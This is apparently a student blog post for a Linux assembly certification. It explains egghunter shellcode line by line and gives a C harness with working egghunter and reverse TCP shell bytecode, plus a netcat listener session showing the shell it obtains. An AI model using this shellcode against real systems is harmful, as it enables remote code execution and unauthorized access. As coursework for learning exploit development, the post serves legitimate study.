Egghunter Shellcode

8 minute read

For the third assignment for the SLAE, you are tasked to create an Egghunter shellcode. This is a rather unique challenge, since this was not covered at all during the SLAE coursework. Let’s jump into how to go about learning and evenutally creating an egghunter shellcode!

What Exactly is an Egg Hunter?

The best way to learn how to write an “egg hunter” is to learn about what an “egg hunter” is fundamentally. Basically, when you want to inject shellcode into an application that is found to have a buffer overflow vulnerability, most of the time you have a certain amount of allocated space to work with. With many applications, this allocated space is not nearly enough space for the shellcode to be placed.

To get around this barrier, a technique was discovered in order to get shellcode execution with very minimal memory imapct. This is what is known as an egg hunter. You place an “egg” into the buffer overflow/injection vulnerability along with instructions to locate the egg in memory. Once this shellcode executes, it will search throughout memory for this unique string, and once it locates it, it will then execute the shellcode that is located directly after the egg.

During research on this topic, a famous paper appeared almost right away as the golden reference on this subject. It is a research paper written by the author “skape” which describes multiple ways to search memory and profile it by using assembly. This will be a major reference for the proof of concept illustrated later on in this blog.

Now let’s look into how an egg hunter shellcode will be structured and developed.

Egg Hunter Structure

So the first thing noticable from the skape paper, is that there are multiple ways to try and attempt to create an egg hunter shellcode. There are a couple system calls (syscalls) that can be used, and for this assignment, the access(2) syscall will be used. According to the unistd.h file mentioned in the first blog post, the value to be associated with access(2) is 33.

The next notable thing about the access(2) syscall, is the way it will be used in this context. Normally, this syscall is used to check if the user running the process has access to a certain file. For the purpose of this assignment, we will be using it as an error handler, giving it memory locations and analyzing if it throws a specific error or not.

Reading the man page for access(2), it shows that upon trying to access a space that is outside your access range, it will provide an EFAULT error.

There isn’t too much else to preamble for this shellcode, so let’s jump into dissecting the shellcode.

Egg Hunter Shellcode

The very first thing that we will do load our “egg” into the ESI register. This will be what our shellcode will be looking for in order to find our real shellcode to execute in memory. The egg could be anything, as long as it fills 8 bytes of data

mov esi, 0xdeadc0de

The next thing we will do is establish two functions, one that will put the value of 4095 into dx. We will be accessing and checking the page files within the linux enviornment, which are normally a total of 4096 bytes. The hex value of 4096 is 0x1000. This contains nulls, which might muck up our shellcode, so instead we load 4095 which has the hex value of 0xfff. We will be adding this into a function called following_page so that once our shellcode goes through the first memory page and doesn’t find the egg, it will load the next 4095 bytes and loop through again.

following_page:

	or dx, 0xfff

Now we will set up another function called test_next, which will first increment EDX to make the value 4096, load the access(2) syscall, put the next 8 bytes of memeory into EBX and then run the access(2) syscall on that memory address. Then, we comapre the value inside of al (which holds syscall return values) with the opcode of the EFAULT error as described above, 0xf2 as seen in the file /usr/include/asm-generic/errno-base.h

Next, if the EFAULT error is thrown, our shellcode will go back to the following_page function to check the following memory page.

Let’s see what this looks like below:

test_next:
        inc edx ; Make EDX "4096"
        mov al, 33 ; set the value of the access syscall
        lea ebx, [edx + 0x8] ; Load the address of the following 8 bytes
        int 0x80 ; Start the check if the memory is accessible
	cmp al, 0xf2 ; Compares the syscall value of access, and the value of the EFAULT error
        je short following_page ; If EFAULT thrown, go back and check the follwing memory page
	

If the memory can be accessed, and the EFAULT error doesn’t get thrown, we then compare the DWORD inside the accessible memory to see if our egg is within it. If it isn’t, it will go back back to test_next function to keep testing the memory page.

        cmp [edx], esi ; If memory can be accessed, check for the egg inside ESI
        jnz short test_next ; Go back and keep testing if the egg wasn't found

In order to test for false positives and for the off chance that our egg shows up in memory outside of our control, we load the next DWORD in the accessible memory, to check for the second part of our egg. We will be loading our egg into our shellcode as deadc0dedeadc0de to avoid possibly reading only one deadc0de in memory that doesn’t contain our shellcode.

If the second DWORD does not contain the egg again, we loop back to the test_next function to keep testing for our egg within memory.

        lea ebx, [edx + 0x4] ; If the first part of the egg is found, load the next DWORD into ebx
        cmp [ebx], esi ; Compare the DWORD to the first part of the EGG
        jnz short test_next ; Go back if the next DWORD does not contain the egg (this is to avoid false positives).

If the second DWORD does contain our egg, we will load this memory address into EDX since this is the address that starts our desired shellcode. We then jmp to this memory address which will then begin the execution of our shellcode.

        lea edx, [ebx + 0x4] ; If the second part of the egg is found, load that memory address, since our shellcode is what follows.
        jmp edx ; Execute shellcode

Let’s see the full egg hunter shellcode:

global _start


section .text


_start:

        ; Load our "egg" into ESI
        mov esi, 0xdeadc0de

following_page:

        or dx, 0xfff ; Load 4095 into dx

test_next:
        inc edx ; Make EDX "4096"
        mov al, 33 ; set the value of the access syscall
        lea ebx, [edx + 0x8] ; Load the address of the following 8 bytes
        int 0x80 ; Start the check if the memory is accessible


        cmp al, 0xf2 ; Compares the syscall value of access, and the value of the EFAULT error
        je short following_page ; If EFAULT thrown, go back and check the follwing memory page

        cmp [edx], esi ; If memory can be accessed, check for the egg inside ESI
        jnz short test_next ; Go back and keep testing if the egg wasn't found

        lea ebx, [edx + 0x4] ; If the first part of the egg is found, load the next DWORD into ebx
        cmp [ebx], esi ; Compare the DWORD to the first part of the EGG
        jnz short test_next ; Go back if the next DWORD does not contain the egg (this is to avoid false positives).

        lea edx, [ebx + 0x4] ; If the second part of the egg is found, load that memory address, since our shellcode is what follows.
        jmp edx ; Execute shellcode

Utilizing Egg Hunter Shellcode

So in order to actually use this egg hunter shellcode, we will need to create a C program that will actually execute this, along with load our reverse TCP shell shellcode into memory as well.

Editing the C program provided by the SLAE labs, we get the following:

#include <stdio.h>
#include <string.h>

unsigned char egghunter[] = "\x31\xdb\x31\xc9\x31\xd2\xbe\xde\xc0\xad\xde\x66\x81\xca\xff\x0f\x42\x31\xc0\xb0\x21\x8d\x5a\x08\xcd\x80\x3c\xf2\x74\xed\x39\x32\x75\xee\x8d\x5a\x04\x39\x33\x75\xe7\x8d\x53\x04\xff\xe2";
unsigned char shellcode[] = "\xde\xc0\xad\xde\xde\xc0\xad\xde\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xb2\x06\x66\xb8\x67\x01\xcd\x80\x89\xc3\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x41\xe2\xf6\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";

int main(void)
{
    printf("Egg hunter length: %d\n", strlen(egghunter));
    printf("Shellcode length: %d\n", strlen(shellcode));

    void (*s)() = (void *)egghunter;
    s();

    return 0;
}

This creates a variable for our egg hunter shellcode, obtained using objdump on the compiled binary (compilation and objdump usage shown in previous blogs) as well as a variable for the objdump output from the reverse TCP shell assignment in the previous blog.

It then prints out the length of the egg hunter shellcode as well as our reverse TCP shellcode and then executes it.

As you can see at the beginning of the shellcode variable, it contains \xde\xc0\xad\xde\xde\xc0\xad\xde. This is deadc0dedeadc0de in Little Endian format. So when the egg hunter shellcode executes, if it finds the two instances of our egg, it will the execute the shellcode after the eggs.

Now let’s compile this C program and execute it.

anubis@ubuntu:~/SLAE/Assignment_3$ gcc -fno-stack-protector -z execstack egg.c -o egghunteranubis@ubuntu:~/SLAE/Assignment_3$ 

Now to execute the egghunter binary and set up a listening shell on port 4444 which we configured in our shellcode in the previous assignment.

anubis@ubuntu:~/SLAE/Assignment_3$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)

Now that the listener is set up, let’s execute our binary and obtain our reverse shell.

anubis@ubuntu:~/SLAE/Assignment_3$ ./egghunter 
Egg hunter length: 46
Shellcode length: 87
anubis@ubuntu:~/SLAE/Assignment_3$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 46184)

As seen in the previous blog, there is a notification that a connection has been made but no initial output. But once commands are executed, it is seen that we have successfully made the target connect back to our listener.

anubis@ubuntu:~/SLAE/Assignment_3$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 46184)
id
uid=1000(anubis) gid=1000(anubis) groups=1000(anubis),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
hostname
ubuntu
ls
compile.sh
egg
egg.c
egg.nasm
egg.o
egghunter
pwd
/home/anubis/SLAE/Assignment_3

Success! This assignment is now complete and we can move on to the next one!


This blog post was created as per the requirements of the Security Tube Linux Assembly Expert certification.

Student ID: SLAE-1406

Please see https://github.com/AnubisSec/SLAE for all the source files mentioned on this site.

Updated: